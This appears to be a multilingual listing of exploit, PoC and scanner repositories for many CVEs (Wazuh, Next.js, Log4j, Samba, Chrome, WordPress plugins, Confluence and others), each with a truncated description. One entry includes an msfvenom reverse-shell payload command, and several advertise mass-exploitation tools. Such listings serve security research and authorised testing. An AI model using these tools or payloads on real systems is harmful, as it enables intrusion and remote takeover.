CVE-2026-25769

CVE-2026-25769 ما هو CVE-2026-25769؟ CVE-2026-25769 هو ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد RCE في Wazuh، منصة الأمان مفتوحة المصدر المستخدمة لمنع التهديدات واكتشافها والاستجابة لها. ما هو Wazuh؟ Wazuh هو منصة أمان مجانية ومفتوحة المصدر تُستخدم لمنع التهديدات واكتشافها والاستجابة لها. يت...

CVE-2025-55182-Auto-Scanner

يُعد CVE-2025-55182 Scanner أداة عالية الأداء لاكتشاف نقاط نهاية Server Action المعرضة للخطر في Next.js. يستخدم مسحًا متعدد الخيوط، وكشفًا قائمًا على مستوى الثقة، ومؤشرات استجابة متعددة لتحديد ثغرات تنفيذ التعليمات البرمجية عن بُعد RCE المحتملة. الميزات مسح متزامن عالي السرعة تسجيل درجات الثقة...

Exploiting-Samba-on-Metasploitable-2

Exploiting-Samba-on-Metasploitable-2 هدفي هنا كان استخدام metasploit من جهاز Kali Linux لاستغلال ثغرة معروفة في Samba CVE-2007-2447. يتم ذلك من أجل اختراق جهاز Metasploitable 2 بقشرة عكسية للوصول إلى مجلد الجذر. بمجرد الوصول إلى هذا المجلد، فسوف يكشف عن مجلد /etc/shadow الذي يقدم دليلاً على...

THM---Solar-exploiting-Log-4j

THM---Solar-exploiting-Log-4j تعتمد هذه الغرفة على استغلال الثغرة الأمنية الشهيرة Log4j CVE-2021-44228، والتي تُعرف أيضًا باسم Log4Shell. تُمكّن هذه الثغرة المهاجمين من تنفيذ تعليمات برمجية عن بُعد عبر حقن الحمولات الضارة في رسائل السجلات. المهمة 1 – مقدمة عن CVE-2021-44228 في هذه المهمة، تعلمت ع...

-CVE-2023-33177-

أداة اختبار ثغرة Xibo CMS CVE-2023-33177 أداة اختبار أمني آلي لثغرة CVE-2023-33177 - ثغرة Zip Slip Path Traversal في Xibo CMS والتي تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد RCE. ⚠️ إخلاء المسؤولية هذه الأداة مخصصة لأغراض الاختبار التعليمي والمصرح به فقط. استخدمها فقط على الأنظمة التي تملكها أو...

cve-2024-38063-detection-mitigation-system

Système de détection et d'atténuation des vulnérabilités CVE Auteur : Rohit Malik | Domaine : Cybersécurité | Type : Projet académique de groupe | Objectif : Portfolio et éducatif Aperçu Ce projet est une implémentation de cybersécurité en groupe axée sur la détection et l'atténuation d'une...

cve-2025-55182

تقرير اختبار الاختراق: ثغرة RCE في Next.js وتصعيد الامتيازات عبر Node.js Inspector يشرح هذا التقرير الفني مسار الاستغلال لاختراق هدف يستضيف تطبيق ويب Next.js ضعيفًا، وتحقيق الوصول الأولي عبر بيانات اعتماد تم جمعها، والاستفادة من أداة فحص V8 المحلية غير الآمنة في Node.js لتصعيد الامتيازات إلى...

CVE-2026-34724

🚨 CVE-2026-34724 - Zammad 7.0.1 - حقن القوالب من جانب الخادم SSTI إلى تنفيذ التعليمات البرمجية عن بُعد RCE عبر وكيل الذكاء الاصطناعي 📌 نظرة عامة Zammad هو نظام دعم عملاء Helpdesk شهير مفتوح المصدر وقائم على الويب. CVE-2026-34724 هو ثغرة حقن القوالب من جانب الخادم SSTI في ميزة وكيل الذكاء الاصطناع...

CVE-2025-2783

كروم CVE-2025-2783: هروب من وضع الحماية واستغلال كامل السلسلة لتنفيذ الأوامر البرمجية يحتوي هذا المستودع على تنفيذ استغلال كامل السلسلة للثغرة CVE-2025-2783. تكمن الثغرة في طبقة الاتصال Ipcz في متصفح كروم، مما يسمح للمهاجم بهروب من وضع الحماية وتنفيذ كود عشوائي من عملية العرض المقيدة. يدعم هذا...

CVE-2024-51793

Wordpress Computer Repair Shop = 3.8115 - Неаутентифицированная произвольная загрузка файлов CVE-2024-51793 Плагин CRM WordPress – RepairBuddy для WordPress уязвим к произвольной загрузке файлов из-за отсутствия проверки типа файла во всех версиях до 3.8115 включительно. Это позволяет...

CVE-2024-34361-Pi-Hole-SSRF-to-RCE

CVE-2024-34361 Pi-hole تنفيذ الأوامر عن بُعد SSRF إلى RCE الوصف يحتوي هذا المستودع على استغلال لثغرة CVE-2024-34361، وهي ثغرة أمنية حرجة CVSS 8.6 تم اكتشافها في Pi-hole، وهو حاجز DNS يُستخدم على نطاق واسع لحجب الإعلانات ونطاقات التتبع على مستوى الشبكة. تنشأ الثغرة من التحقق غير السليم من عناوين...

CVE-2025-2945-pgAdmin4-Authenticated-RCE-PoC-

CVE-2025-2945 – ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE بعد المصادقة في pgAdmin4 PoC يحتوي هذا المستودع على نص برمجي لإثبات المفهوم PoC أُنشئ لأغراض البحث الأمني واختبار الاختراق المصرح به والمتعلق بالثغرة CVE-2025-2945 ، والتي تؤثر على إصدارات معينة من pgAdmin4. تتيح هذه المشكلة لمستخدم pgAdmi...

CVE-2023-21716

CVE-2023-21716 — ثغرة تلف الكومة في معالج RTF في Microsoft Word تؤدي إلى تنفيذ تعليمات برمجية عن بعد الخطورة: حرجة CVSS 9.8 المتأثر: Microsoft Word 2013 / 2016 / 2019 / 2021 غير مصحح التصحيح: تحديث الثلاثاء التصحيحي لشهر فبراير 2023 من Microsoft المؤلف: REGGYRAIDER نظرة عامة على الثغرة...

react2shell-scanner

react2shell-scanner ماسح ضوئي لسطر الأوامر عالي الدقة لكشف CVE-2025-55182 و CVE-2025-66478 تنفيذ التعليمات البرمجية عن بُعد في تطبيقات Next.js التي تستخدم مكونات خادم React RSC. 🚨 نظرة عامة على الثغرة تؤثر هذه الثغرات الحرجة على تطبيقات Next.js التي تستخدم مكونات خادم React، مما يسمح بتنفيذ تعليم...

CVE-2021-24499

CVE-2021-24499 | Workreap - سوق العمل الحر والدليل قالب ووردبريس 2.2.2 - رفع ملفات تعسفي قالب ووردبريس Workreap 2.2.2 - رفع ملفات غير مصادق عليه يؤدي إلى تنفيذ كود عن بُعد أداة استغلال قوية ودقيقة للاستغلال الجماعي لثغرة CVE-2021-24499 في قالب Workreap لووردبريس. يتيح هذا الاستغلال رفع ملفات غير...

CVE-2025-15368-Exploit

أداة استغلال CVE-2025-15368 إضافة SportsPress لووردبريس = 2.7.26 - LFI و RCE المؤلف: kazehere4you التاريخ: 2026-02-11 الوصف تستغل هذه الأداة ثغرة تضمين الملفات المحلية LFI في إضافة SportsPress لووردبريس الإصدارات حتى 2.7.26. من خلال استغلال الكود القصير eventlist والتلاعب بخاصية templatename، يمك...

CVE-2025-60787-POC

CVE-2025-60787 - تنفيذ أوامر عن بعد موثوق في motionEye تنفيذ أوامر عن بعد موثوق في motionEye = 0.43.1b4 عبر معامل تكوين motion غير مُعقّم المؤلف: d3vn0mi نظرة عامة على الثغرة...

confluence-ognl-rce

CVE-2022-26134 - Atlassian Confluence OGNL RCE This script is a wrapper over an unauthenticated remote code execution via OGNL injection exploit primitive in Confluence Data Center and Server CVE-2022-26314. Vendor advisory Originally inspired by the PoC jbaines-r7/throughthewire. I added the...

CVE-2009-3999

CVE-2009-3999 Exploit pour HP Power Manager 4.2 Build 7 Inspiré de https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 ÉTAPE 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x...

CVE-2025-55182

CVE-2025-55182 : React2Shell - Boîte à outils d'exécution de code à distance pour Next.js !AVERTISSEMENT Cet outil est fourni uniquement à des fins de tests autorisés et d'éducation. L'accès non autorisé au réseau et l'exfiltration de données sont illégaux. Les utilisateurs sont responsables de...